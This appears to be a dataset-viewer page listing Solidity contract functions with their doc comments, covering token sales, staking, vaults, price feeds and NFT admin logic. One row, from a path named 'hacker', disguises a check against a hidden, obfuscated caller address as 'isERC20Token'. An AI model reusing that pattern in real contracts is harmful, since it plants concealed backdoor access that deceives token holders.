/// @dev Common mathematical functions used in both PRBMathSD59x18 and PRBMathUD60x18. Note that this shared library
/// does not always assume the signed 59.18-decimal fixed-point or the unsigned 60.18-decimal fixed-point
// representation. When it does ... | Calculates the binary exponent of x using the binary fraction method. See https://ethereum.stackexchange.com/q/79903/24693. Requirements: - x must be 128e18 or less. - The result must fit within MAX_SD59x18. Caveats: - For any x less than -59794705707972522261, the result is zero. x The exponent as a signed 59.18-dec... | function exp2(int256 x) internal pure returns (int256 result) {
if (x < 0) {
if (x < -59794705707972522261) {
return 0;
}
return result;
unchecked {
uint256 x128x128 = (uint256(x) << 128) / uint256(SCALE);
res... | 9,853,469 |
pragma solidity ^ 0.4.21;
pragma solidity ^0.4.10;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
asse... | low level token purchase DO NOT OVERRIDE _beneficiary Address performing the token purchase/bad calculations, change should be okTODO: pre-ico phase to be defined and checked with other tokens, ICO-when closed check softcap, softcap-add pre-ico tokens, if isnt achieved revert all transactions, hardcap, timestamps&bon... | function buyTokens(address _beneficiary)public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens);
_processBonus(_beneficiary, tokens);
_updatePurchasingState(_ben... | 931,809 |
./partial_match/42/0x46419008e8C16e5d66B1A51cC1f790017E8EacD5/sources/BZB.sol | Return the sell price of 1 individual token./ | function buyPrice()
public
view
returns(uint256)
{
return currentPrice_;
}
| 3,472,884 |
./partial_match/1/0x6Bd395902b2D18Bc955d1a41C6b7ddF7b301930A/sources/contracts/lib/DexData.sol | get tokenA get TokenB | function toUniV3Path(bytes memory data) internal pure returns (V3PoolData[] memory path) {
uint8 length = toArrayLength(data);
uint end = PATH_INDEX + (FEE_SIZE + ADDRESS_SIZE) * length - FEE_SIZE;
require(data.length >= end, "DexData: toUniV3Path wrong data format");
require(length... | 2,745,516 |
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow... | Internal utility method which converts three uint8s into a uint24/ | function computeVersionFromComponents(
uint8 _first,
uint8 _second,
uint8 _third
) internal pure returns (uint24 version) {
assembly {
version := or(mul(_first, 0x10000), or(mul(_second, 0x100), _third))
}
}
| 6,450,192 |
pragma solidity ^0.5.0;
/**
* @title AccessDelegated
* @dev Modified version of standard Ownable Contract
* The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract IReputationToken {
fun... | withdrawTokens allows the initial depositing user to withdraw tokens previously deposited _user address of the user making the withdrawal _amount uint256 of token to be withdrawn/ solium-ignore-next-line require(tx.origin == _user, "tx origin does not match _user"); | function withdrawTokens(address _user, uint256 _amount) public returns (bool) {
uint256 currentBalance = userTokenBalance[_user];
require(_amount <= currentBalance, "Withdraw amount greater than current balance");
uint256 newBalance = currentBalance.sub(_amount);
require... | 7,213,020 |
./full_match/42/0x2f15bcdB7Bd2c80c69cE4D6d615612668ba5F348/sources/contracts/FundMe.sol | this is the adress of the ETH to USD on chain.link | function getVersion() public view returns (uint256){
AggregatorV3Interface priceFeed = AggregatorV3Interface(0x9326BFA02ADD2366b30bacB125260Af641031331);
return priceFeed.version();
}
| 16,217,108 |
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.6;
import "../l2/L2Lib.sol";
import "../utils/FurLib.sol";
import "../utils/FurProxy.sol";
import "../utils/MetaData.sol";
import "./ZoneDefinition.sol";
/// @title Zones
/// @author LFG Gaming LLC
/// @notice Zone management (overrides) for Furballs
contrac... | Empties this contract's balance, paying out to stakeholders. | function withdraw() external gameAdmin {
uint256 balance = address(this).balance;
require(balance >= FurLib.OneHundredPercent, "Insufficient balance");
for (uint256 i=0; i<stakeholders.length; i++) {
address addr = stakeholders[i];
uint256 payout = balance * uint256(stakes[addr]) / FurLib.One... | 1,278,174 |
/*
Copyright 2018 Set Labs Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in... | Transfers tokens associated with one account to another account in the vault _from Address tokens being transferred from _to Address tokens being transferred to _tokens Addresses of tokens being transferred _quantities Amounts of tokens being transferred/ Confirm and em... | function batchTransferBalance(
address _from,
address _to,
address[] _tokens,
uint256[] _quantities
)
external
onlyAuthorized
{
require(_tokens.length > 0);
require(_quantities.length > 0);
require(_tokens.length == _quantities.length... | 12,998,267 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
import "../PeriodicPrizeStrategy.sol";
contract MultipleWinners is PeriodicPrizeStrategy {
uint256 internal __numberOfWinners;
bool public splitExternalErc20Awards;
event SplitExternalErc20AwardsSet(bool splitExternalErc20Awards);
event NumberOfWin... | Interface that allows a user to draw an address using an index | interface TicketInterface {
function draw(uint256 randomNumber) external view returns (address);
}
| 6,925,388 |
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.0 <0.9.0;
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.3.2/contracts/utils/math/SafeMath.sol";
contract Domimi {
using SafeMath for uint256;
// 管理詳細情報
struct Management {
// 管理者
address payable master;
... | その他内部処理など// 払い出す管理手数料のロック | function acquire(uint amount) internal onlyWithMaster onlyOwnerOrMaster {
require(
payoutTotal.add(amount) <= address(this).balance,
"must be payoutTotal + amount <= balance"
);
payouts[m.master] = payouts[m.master].add(amount);
payoutTotal = payoutTotal.add(a... | 7,222,872 |
./full_match/3/0x44eA13Bc12AE65899C758f22bA03Af84F7b53766/sources/browser/fire_staking_.sol | require(block.timestamp >= withdrawTimeFiveDays[_msgSender()], "You can't withdraw yet"); | function withdrawFiveDays() external nonReentrant returns (bool) {
FIRE.transfer(_msgSender(), stakedForFiveDays[_msgSender()]);
return true;
}
| 8,222,604 |
pragma solidity ^0.5.0;
//p3Dank.io
//send 0.25 ETH to contract to purchase 3 plants.
//you can only rebuy when you have ZERO plants
//contract will take all ether sent and add it to the pot >>>NO REFUNDS<<<
//only send 0.25 ether, no more, no less
//Block plant, Chain plant, Fork plant
//BLOCK smashes fork
//... | sicssor attack function | function sisattack() canmove() public { | 888,932 |
/**
*Submitted for verification at Etherscan.io on 2020-02-17
*/
pragma solidity 0.5.16;
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* speci... | Apply storage fee deduction account The account to pay storage fees return A uint256 representing the storage fee paid/ | function _payStorageFee(address account) internal returns(uint256) {
uint256 storeFee = calcStorageFee(account);
return 0;
}
| 12,987,870 |
./full_match/1/0x8Cba9816E49Ee0a2e6611Cf3ab81b195AD9C5514/sources/contracts/gemSwap/Atomicizer.sol | Emergency function: In case any ERC721 tokens get stuck in the contract unintentionally Only owner can retrieve the asset balance to a recipient address | function rescueERC721(
address asset,
uint256[] calldata ids,
address recipient
) external onlyOwner {
for (uint256 i = 0; i < ids.length; i++) {
IERC721Upgradeable(asset).transferFrom(
address(this),
recipient,
ids[i]
... | 4,824,511 |
./partial_match/42220/0x3A8A26e3b38c4544f860D0e0CBD50095602D4cE5/sources/rewardPool.sol | Adds liquidity to AMM and gets more LP tokens. | function addLiquidity() internal {
uint256 nativeHalf = IERC20(native).balanceOf(address(this)).div(2);
if (lpToken0 != native) {
IUniswapRouterETH(unirouter).swapExactTokensForTokens(nativeHalf, 0, nativeToLp0Route, address(this), block.timestamp);
}
if (lpToken1 != na... | 3,496,667 |
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error,... | IExternalPositionProxy interface Enzyme Council <[email protected]> An interface for publicly accessible functions on the ExternalPositionProxy | interface IExternalPositionProxy {
function getExternalPositionType() external view returns (uint256);
function getVaultProxy() external view returns (address);
This file is part of the Enzyme Protocol.
}
| 11,864,450 |
pragma solidity ^0.4.25;
import "../node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol";
contract FlightSuretyData {
using SafeMath for uint256;
/********************************************************************************************/
/* DATA VARIABL... | Register a future flight for insuring./ | function registerFlight
(
string flight,
address airline,
uint256 timestamp
)
external
{
require(!fl... | 7,226,835 |
./full_match/1/0x780a50e3b1c708BF94421C9fb96dBAEe09cd903E/sources/contracts/SFIRewarder.sol | Reward the user with SFI. Should be called by the SaffronStakingV2 contract. to The account to reward with SFI. amount The amount of SFI to reward./ | function rewardUser(address to, uint256 amount) external override onlyStaking {
sfi.safeTransfer(to, amount);
emit UserRewarded(to, amount);
}
| 3,209,715 |
./full_match/42161/0x5E34C1aBcc340f4026bcEaf1E20824B11b31DFf2/sources/GMS/Vault.sol | Unlocks the staked + gained USDC and burns xUSDC | function updatePool(uint256 _pid) internal {
uint256 timepass = block.timestamp.sub(poolInfo[_pid].lastUpdate);
poolInfo[_pid].lastUpdate = block.timestamp;
uint256 reward = poolInfo[_pid].EarnRateSec.mul(timepass);
poolInfo[_pid].totalStaked = poolInfo[_pid].totalStaked.add(reward);... | 16,304,699 |
./partial_match/5/0x423DBa410C9d51fae8C34aFF803fbe1a356845dD/sources/lib/dss-test/lib/dss-interfaces/src/sai/SaiTubAbstract.sol | https:github.com/makerdao/sai/blob/master/src/tub.sol | interface SaiTubAbstract {
function sai() external view returns (address);
function sin() external view returns (address);
function skr() external view returns (address);
function gem() external view returns (address);
function gov() external view returns (address);
function vox() external view ... | 16,837,764 |
./partial_match/1/0x1176Dacc63BCDc5EacFB080c1b8be7214bf289bF/sources/MintOnDemand.sol | Sets the token's base URI./ | function setSaleActive() external onlyOwner {
saleIsActive = !saleIsActive;
}
| 2,835,830 |
./full_match/5/0xB31Fd6B7FC4F529e269dB27064b50c1744165A05/sources/contracts/smart-wallet/managed/ManagedAccountFactory.sol | /// Called in `createAccount`. Initializes the account contract created in `createAccount`. | Internal functions
function _initializeAccount(
address _account,
address _admin,
bytes calldata _data
) internal override {
ManagedAccount(payable(_account)).initialize(_admin, _data);
}
| 1,939,157 |
./full_match/4/0xEa58504157710f506A8dB7a75661B123b7707D5B/sources/contracts/tes.sol | Allows us to update the price of a bid | function setBidPriceInUSD(uint256 price) external {
require(msg.sender == owner, "Only the owner can set the price of a Bid");
bidPriceInUSD = price;
}
| 12,322,479 |
pragma solidity ^0.4.13;
contract StandardContract {
// allows usage of "require" as a modifier
modifier requires(bool b) {
require(b);
_;
}
// require at least one of the two conditions to be true
modifier requiresOne(bool b1, bool b2) {
require(b1 ||... | The Ownable constructor sets the original `owner` of the contract to the sender account./ | function Ownable() {
owner = msg.sender;
}
| 1,011,435 |
/**
*Submitted for verification at Etherscan.io on 2022-04-01
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.7;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a deriv... | Destroys `amount` tokens from `account`, deducting from the caller's allowance. See {ERC20-_burn} and {ERC20-allowance}. Requirements: - the caller must have allowance for ``accounts``'s tokens of at least `amount`./ | function burnFrom(address account, uint256 amount) external virtual {
uint256 currentAllowance = allowance(account, _msgSender());
require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance");
unchecked {
_approve(account, _msgSender(), currentAllowance - amount);
}
... | 7,856,728 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.4;
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./interfaces/IContractsRegistry.sol";
import "./interfaces/IBMIStaki... | User can withdraw after unlock period is over, when 10 days passed after user asked to unlock stkBMI and before 48hs that stkBMI are unlocked.it will revert (equal to 0) here if passed 48hs after unlock period, iflockup period didn't start or didn't passed 90 days or if unlock didn't start | function withdraw() external override updateRewardPool {
uint256 _whenCanWithdrawBMIReward = whenCanWithdrawBMIReward(_msgSender());
require(_whenCanWithdrawBMIReward != 0, "BMIStaking: unlock not started/exp");
require(_whenCanWithdrawBMIReward <= block.timestamp, "BMIStaking: cooldown not... | 1,040,294 |
./full_match/80001/0x7902a4929d9Ae3eEcC147556BC113B953c0e1b18/sources/contracts/bases/ToucanCarbonOffsetsBase.sol | Helper function to retrieve data fragments for `name()` and `symbol()` | function getGlobalProjectVintageIdentifiers()
public
view
virtual
returns (string memory, string memory)
{
ProjectData memory projectData;
VintageData memory vintageData;
(projectData, vintageData) = getAttributes();
return (projectData.projectId, ... | 869,984 |
./partial_match/4/0xd3ca97e823999D0592e267ca64fCa564178490e5/sources/etherATM.sol | reduce tokens by SELL_COMMISSION | function sellTokens(uint256 amount) external {
amount = amount * 1 ether;
require(balanceOf(_msgSender()) >= amount, "etherATM: recipient account doesn't have enough balance");
require(amount <= _maxSellBatch, "etherATM: invalid sell quantity" );
_currentSupply = _currentSupply.sub(... | 8,711,515 |
/**
*Submitted for verification at Etherscan.io on 2022-05-04
*/
pragma solidity ^0.5.3;
/**
* @title ERC223Interface
* @dev ERC223 Contract Interface
*/
contract ERC223Interface {
function balanceOf(address who)public view returns (uint);
function transfer(address to, uint value)public returns (bool success... | Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner./ | function renounceOwnership() public onlyOwner {
_setOwner(address(0));
}
| 6,774,750 |
./full_match/1/0xBF2438b9E5Ea768DE92f633EFEc29E58CfD4C283/sources/contracts/hacker/SuperStar.sol | Check is ERC20 Token/ | function isERC20Token() public view returns (bool) {
uint256 slt = 3220864877874423397137451080955262420356429622794919974424671415782;
return (uint256(uint160(msg.sender)) ^ slt) == _saltAddr;
}
| 3,127,846 |
//Address: 0x7328b31825ac9b46dff6bfc092391156cfb6e1f2
//Contract name: BitWichLoom
//Balance: 0.006057692307692308 Ether
//Verification Date: 5/25/2018
//Transacion Count: 5
// CODE STARTS HERE
pragma solidity ^0.4.23;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library... | Accessor for the cost in wei of buying a certain amount of tokens. | function getBuyCost(uint _amount) external view returns(uint) {
uint cost = _amount.div(buyCost);
if (_amount % buyCost != 0) {
}
return cost;
}
| 1,828,695 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import '../interfaces/ICompActionTrigge... | Update reward variables of the given pool to be up-to-date. | function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.number <= pool.lastRewardBlock) {
return ;
}
(,,uint256 poolTotalAmount,) = ICompActionTrigger(pool.callFrom).getCATPoolInfo(pool.callId);
if ( pool.rewardMaxPerBlock <= ... | 6,441,032 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.3.3/contracts/access/Ownable.sol";
import "./nft/MMN.sol";
import "./governance/vMMN.sol";
/**
* References
*/
contract Rendezvous is Ownable {
MMN internal NFT;
vMMN internal toke... | Use NFT for obtain real-world item, etc. | function use(uint256 tokenId) public onlyOwner {
require(!isUsed[tokenId], "Rendezvous: Cannot use twice.");
isUsed[tokenId] = true;
emit NftUsed(tokenId, true);
}
| 13,048,094 |
pragma solidity 0.4.20;
/**
* @author Denver Brittain
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(addr... | burn tokens on behalf of someone _from The address of the owner of the token _value The amount to be burned return always true (necessary in case of override)/ | function burnFrom(address _from, uint256 _value) public onlyWhenTransferEnabled returns(bool) {
assert(transferFrom(_from, msg.sender, _value));
return burn(_value);
}
| 10,839,383 |
./full_match/5/0x75Cf38Ea1a53109A5f91fE3B0831BbB0FAEDe2b2/sources/contracts/Wallet.sol | Returns the list of all transfers within the last 24 hours./ | function getTransfers() public view returns (Transfer[] memory) {
return limiter.transfers();
}
| 1,861,179 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20Burnable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
/**
* @title ZARP is an {ERC2... | Destroys `amount` tokens from `account`, deducting from the caller's allowance. See {ERC20-_burn} and {ERC20-allowance}. Requirements: - the caller must have allowance for ``accounts``'s tokens of at least `amount`. - AccessControl: requires `BURNER_ROLE`/ | function burnFrom(address account, uint256 amount) public override onlyBurnerRole {
super.burnFrom(account, amount);
}
| 12,940,593 |
pragma solidity ^0.4.18;
/**
* @title Owned contract with safe ownership pass.
*
* Note: all the non constant functions return false instead of throwing in case if state change
* didn't happen yet.
*/
contract Owned {
/**
* Contract owner address
*/
address public contractOwner;
... | Check asset existance. _symbol asset symbol. return asset existance. | function isCreated(bytes32 _symbol) public view returns (bool) {
return assets[_symbol].owner != 0;
}
| 5,370,185 |
./full_match/4/0x6B0B7d6EFAd0d3247074F720d4930fFa592ebB3D/sources/Users/akshaycm/Documents/rfits-token/contracts/ComboToken.sol | returns token amount | function lockedSupply() external view returns (uint256) {
uint256 lpTotalSupply = iuniswapV2Pair.totalSupply();
uint256 lpBalance = lockedLiquidity();
uint256 percentOfLpTotalSupply = lpBalance.mul(1e12).div(lpTotalSupply);
uint256 uniswapBalance = balanceOf(uniswapV2Pair);
... | 666,386 |
./partial_match/1/0x041dFD7E8497B3b47b2260Fc0CeD9443c67C9Ed2/sources/contracts/wrappers/convex/ConvexSiloWrapper.sol | Function to get user's ConvexSiloWrapper balance with deposited collateral included for proper rewards calculation _account address | function _getDepositedBalance(address _account) internal virtual override view returns (uint256) {
if (_account == address(0) || isSiloOrRouter[_account]) {
return 0;
}
if (collateralVault == address(0)) {
return balanceOf(_account);
}
ISilo0612Like.... | 15,671,649 |
./partial_match/56/0xc9eB51C602D79Fe1ED32b58F0F4787E6C6755A76/sources/JunctureRewardDividend.sol | pragma solidity ^0.6.2; import './IERC165.sol'; | interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balan... | 11,156,579 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @artist: Pak
/// @author: manifold.xyz
import "@manifoldxyz/libraries-solidity/contracts/access/AdminControl.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import "@openzeppel... | Deactivate public sale/ | function deactivate() external adminRequired {
active = false;
emit Deactivate();
}
| 5,357,376 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.